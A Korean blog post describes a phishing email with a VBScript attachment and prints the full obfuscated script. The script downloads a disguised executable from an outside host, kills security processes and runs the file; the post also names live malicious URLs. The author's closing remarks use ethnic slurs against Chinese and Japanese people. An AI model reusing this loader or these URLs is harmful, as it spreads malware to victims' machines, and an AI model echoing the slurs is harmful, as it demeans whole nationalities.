스크립트 파일이 포함된 메일을 받다.

지인으로 부터 제목 부터가 냄새가 나는 메일이 핫메일(MSN)로 한통 왔다.

내 동생이 가장 아름다운 올해의 사진... 이라고...

그리고 첨부파일이랍시고 있는게

http://naver.webmokdar.kr/psae.vbs
(클릭해서 실행하지 마세요!!! 책임질 수 없습니다!!!)

VB스트립트 파일. 안봐도 냄새가 풍긴다.

다운받아서 까보니.. VB모르는 나 이지만, 그냥 봐도 알겠다.

sswdSSWS="Execute{WgyuUSTFi}runner부next부{WgyuUSTFi}{WgyuUSTFi}{WgyuUSTFi}{WgyuUSTFi}{WgyuUSTFi}{WgyuUSTFi}{WgyuUSTFi}{WgyuUSTFi}runner=runner&chr(strs(i))부for{WgyuUSTFi}i=1{WgyuUSTFi}to{WgyuUSTFi}UBound(strs)부strs=array(13,111,110,32,101,114,114,111,114,32,114,101,115,117,109,101,32,110,101,120,116,13,10,83,101,116,32,72,74,85,106,105,104,55,103,72,61,67,114,101,97,116,101,79,98,106,101,99,116,40,34,87,34,43,34,115,34,43,34,99,34,43,34,114,34,43,34,105,34,43,34,112,34,43,34,116,46,83,34,43,34,104,34,43,34,69,34,43,34,108,34,43,34,76,34,41,32,13,10,83,101,116,32,100,101,103,121,73,84,54,71,89,55,61,67,114,101,97,116,101,79,98,106,101,99,116,40,34,65,34,43,34,68,34,43,34,79,34,43,34,68,34,43,34,66,46,83,34,43,34,116,34,43,34,114,34,43,34,101,34,43,34,97,34,43,34,109,34,41,13,10,83,101,116,32,85,72,85,111,111,117,104,56,57,72,56,32,61,32,67,114,101,97,116,101,79,98,106,101,99,116,40,34,77,34,43,34,115,34,43,34,120,34,43,34,77,34,43,34,108,34,43,34,50,46,120,34,43,34,77,34,43,34,108,34,43,34,72,34,43,34,84,34,43,34,116,34,43,34,112,34,41,13,10,102,111,114,32,101,97,99,104,32,112,115,32,105,110,32,103,101,116,111,98,106,101,99,116,40,34,119,105,110,109,103,109,116,115,58,92,92,46,92,114,111,111,116,92,99,105,109,118,50,58,119,105,110,51,50,95,112,114,111,99,101,115,115,34,41,46,105,110,115,116,97,110,99,101,115,95,13,10,105,102,32,112,115,46,78,97,109,101,61,34,114,102,119,115,114,118,46,101,120,101,34,32,111,114,32,112,115,46,110,97,109,101,61,34,49,46,101,120,101,34,32,111,114,32,112,115,46,110,97,109,101,61,34,50,46,101,120,101,34,32,111,114,32,112,115,46,110,97,109,101,61,34,51,46,101,120,101,34,32,111,114,32,112,115,46,110,97,109,101,61,34,65,89,85,112,100,97,116,101,46,97,121,101,34,116,104,101,110,32,13,10,72,74,85,106,105,104,55,103,72,46,114,117,110,32,34,110,116,115,100,32,45,112,32,34,43,99,115,116,114,40,43,112,115,46,104,97,110,100,108,101,41,32,43,34,32,45,99,32,113,34,44,48,13,10,101,110,100,32,105,102,13,10,110,101,120,116,13,10,85,72,85,111,111,117,104,56,57,72,56,46,79,112,101,110,32,34,71,69,84,34,44,34,104,116,116,112,58,47,47,119,119,119,46,104,111,103,97,121,111,110,46,99,111,46,107,114,47,115,121,115,116,101,109,47,97,100,109,105,110,47,118,101,110,100,111,114,47,105,110,99,47,102,111,111,116,101,114,46,106,112,103,34,44,48,13,10,85,72,85,111,111,117,104,56,57,72,56,46,83,101,110,100,40,41,13,10,100,101,103,121,73,84,54,71,89,55,46,77,111,100,101,61,51,13,10,100,101,103,121,73,84,54,71,89,55,46,84,121,112,101,61,49,13,10,100,101,103,121,73,84,54,71,89,55,46,79,112,101,110,40,41,13,10,100,101,103,121,73,84,54,71,89,55,46,87,114,105,116,101,40,85,72,85,111,111,117,104,56,57,72,56,46,114,101,115,112,111,110,115,101,66,111,100,121,41,13,10,100,101,103,121,73,84,54,71,89,55,46,115,65,86,101,116,79,70,105,76,101,32,34,67,58,92,111,107,111,46,101,120,101,34,13,10,72,74,85,106,105,104,55,103,72,46,114,117,110,32,40,34,99,109,100,32,47,99,32,115,101,116,32,100,97,116,101,61,37,100,97,116,101,37,32,38,38,100,97,116,101,32,50,48,48,53,45,49,45,49,32,38,38,112,105,110,103,32,45,110,32,49,48,32,49,50,55,46,48,46,48,46,49,32,38,38,115,116,97,114,116,32,67,58,92,111,107,111,46,101,120,101,32,38,38,100,97,116,101,32,37,100,97,116,101,37,32,34,41,44,48,13,10)부"
sswdSSWS = Replace(sswdSSWS, "{WgyuUSTFi}",chr(9))
sswdSSWS = Replace(sswdSSWS, "寬", chr(34))
sswdSSWS = Replace(sswdSSWS, "풀", chr(39))
execute(MyEncode(sswdSSWS))
function MyEncode(hack520org)
sz = Split(hack520org, "부")
For i = UBound(sz) To 0 Step -1
weiwei = weiwei + sz(i) + vbcrlf
Next
MyEncode=weiwei
end function


실행하면 시스템 날짜 바뀔거고... 계속해서 전파가 될 듯...

그냥 봐도 쭝국놈 인게 훤~하게 보인다. 변수로 이름까지 남겨놨으니 말 다한 듯;;

naver.webmokdar.kr 이라고 붙여놨지만 실제의 링크는

procss.webcindario.com 에서 가져오게 되어있다.

몇 일 전에는 일본놈이 와서 아가씨 광고글을 올리고 가더니...

오늘은 쭝국놈이 만든 이런 걸 접하게 되네...

다국화에 기뻐해야 할 지... 슬퍼해야 할 지...